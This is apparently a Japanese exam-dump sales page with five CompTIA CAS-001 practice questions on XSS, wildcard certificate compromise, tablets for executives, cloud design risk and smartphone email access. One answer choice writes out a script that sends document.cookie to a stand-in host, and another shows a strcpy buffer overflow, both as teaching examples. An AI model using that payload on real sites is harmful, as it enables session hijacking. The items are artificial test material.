試験内容はベンダーの方針変更とともに更新されるため、教材の鮮度が学習効果を左右します。JPNTestのCAS-001問題集は購入後365日間無料で更新され、2026年時点のCompTIA Advanced Security Practitionerの出題内容にも対応しています。

CompTIA CAS-001 試験概要:

CompTIA CAS-001 試験シラバストピック:

CAS-001試験のFAQ

CompTIA Advanced Security Practitioner 認定 CAS-001 試験問題：

問題 #1

Which of the following displays an example of a XSS attack?

A. <form action="/cgi-bin/login" method=post> Username: <input type=text name=username> PassworD.<input type=password name=password> <input type=submit value=Login>
B. #include
char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes
void main()
{char buf[8];
strcpy(buf, code);
}
C. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
D. <SCRIPT> document.location='http://site.comptia/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

問題 #2

After connecting to a secure payment server at https://pay.xyz.com, an auditor notices that the SSL certificate was issued to *.xyz.com. The auditor also notices that many of the internal development servers use the same certificate. After installing the certificate on dev1.xyz.com, one of the developers reports misplacing the USB thumb-drive where the SSL certificate was stored. Which of the following should the auditor recommend FIRST?

A. Replace the SSL certificate on dev1.xyz.com.
B. Replace the SSL certificate on pay.xyz.com.
C. Generate a new public key on both servers.
D. Generate a new private key password for both servers.

問題 #3

The company is considering issuing non-standard tablet computers to executive management. Which of the following is the FIRST step the security manager should perform?

A. Set up an access control system to isolate the devices from the network.
B. Apply standard security policy settings to the devices.
C. Develop the use case for the devices and perform a risk analysis.
D. Integrate the tablets into standard remote access systems.

問題 #4

The lead systems architect on a software development project developed a design which is optimized for a distributed computing environment. The security architect assigned to the project has concerns about the integrity of the system, if it is deployed in a commercial cloud. Due topoor communication within the team, the security risks of the proposed design are not being given any attention. A network engineer on the project has a security background and is concerned about the overall success of the project. Which of the following is the BEST course of action for the network engineer to take?

A. Develop a proposal for an alternative architecture that does not leverage cloud computing and present it to the lead architect.
B. Document mitigations to the security concerns and facilitate a meeting between the architects and the project manager.
C. Address the security concerns through the network design and security controls.
D. Implement mitigations to the security risks and address the poor communications on the team with the project manager.

問題 #5

A health service provider is considering the impact of allowing doctors and nurses access to the internal email system from their personal smartphones. The Information Security Officer (ISO) has received a technical document from the security administrator explaining that the current email system is capable of enforcing security policies to personal smartphones, including screen lockout and mandatory PINs. Additionally, the system is able to remotely wipe a phone if reported lost or stolen. Which of the following should the Information Security Officer be MOST concerned with based on this scenario? (Select THREE).

A. Not all smartphones natively support encryption.
B. Compliance may not be supported by all smartphones.
C. Smartphone radios can interfere with health equipment.
D. The email system may become unavailable due to overload.
E. Data usage cost could significantly increase.
F. Smartphones may be used as rogue access points.
G. Equipment loss, theft, and data leakage.

解説：